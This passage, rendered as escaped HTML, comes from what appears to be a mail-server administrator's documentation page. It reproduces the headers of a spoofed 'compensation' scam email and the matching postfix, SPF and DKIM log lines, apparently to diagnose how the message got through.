      &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;C9C21701&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Sat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;2023&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UTC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;DKIM&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Signature&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;rsa&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;relaxed&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;simple&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1674342225&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="n"&gt;bh&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;zpM8MrO4ODlv4EnmHUvvh8W56Pgo7H7YgK6tHvZTRM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Reply&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;To&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;From&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;To&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;Subject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;From&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;zaIcGPvwuxyr07J&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;O9nSnJJNJZ3CoRV13hHwf&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;nhBTvFUpt22dY8CKY&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;CA9bPZ2v&lt;/span&gt;
       &lt;span class="n"&gt;ZX&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;NfcJmhqoKcU0jng1cb9FCdQjFj&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;QVm8q&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;iM5HIq98&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;P562ybG&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ryw&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;SOlSKBT13&lt;/span&gt;
       &lt;span class="n"&gt;x9ccwA8En7eJY&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;sgTGG1JFr07iZNQWCoazkLeCe7dM0JGsFIJ6H0x0YEDhFB9CqeuG&lt;/span&gt;
       &lt;span class="n"&gt;XsXm3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;obh&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;R63rEhBu&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;C7UqvG1WSLMY&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;FNifIYHjLnTtcKKLpkpZoZj5C4VBDU9sL&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
       &lt;span class="n"&gt;TPZTnXpBl9BEYfrfG5DyQh1VXrUcCZSIPcPYc3Y8epEMKmS8NKuCJ4ATtkZ51pfse7&lt;/span&gt;
       &lt;span class="n"&gt;j8kyVX8hxSVOw&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;
&lt;span class="n"&gt;Received&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;SPF&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Softfail&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mailfrom&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;identity&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mailfrom&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;helo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;hosted&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;by&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rootlayer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;envelope&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cw4826878&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;receiver&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;UNKNOWN&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Received&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;hosted&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;by&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rootlayer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unknown&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
      &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;ESMTP&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;
      &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Sat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;2023&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UTC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Reply&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;To&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;philipisclement&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;span class="n"&gt;From&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CAROL&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SMITH&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="n"&gt;cw4826878&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;span class="n"&gt;To&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;
&lt;span class="n"&gt;Subject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;YOUR&lt;/span&gt; &lt;span class="n"&gt;COMPENSATION&lt;/span&gt; &lt;span class="n"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;CAROL&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;
&lt;span class="n"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;2023&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0100&lt;/span&gt;
&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mf"&gt;20230121230341.2&lt;/span&gt;&lt;span class="n"&gt;BAFFC26FBE2B2BA&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is the relevant part of our &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;mail.log&lt;/span&gt;&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16463&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt; &lt;span class="n"&gt;hosted&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;by&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rootlayer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt; &lt;span class="n"&gt;does&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;resolve&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt; &lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16463&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;policyd&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;spf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16467&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;prepend&lt;/span&gt; &lt;span class="n"&gt;Received&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;SPF&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Softfail&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mailfrom&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;identity&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mailfrom&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;helo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;hosted&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;by&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rootlayer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;envelope&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cw4826878&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;receiver&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;UNKNOWN&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16463&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16471&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="mf"&gt;20230121230341.2&lt;/span&gt;&lt;span class="n"&gt;BAFFC26FBE2B2BA&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;opendkim&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;627&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;internal&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;opendkim&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;627&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;authenticated&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;opendkim&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;627&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;28134&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;cw4826878&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1938&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nrcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16463&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;disconnect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span 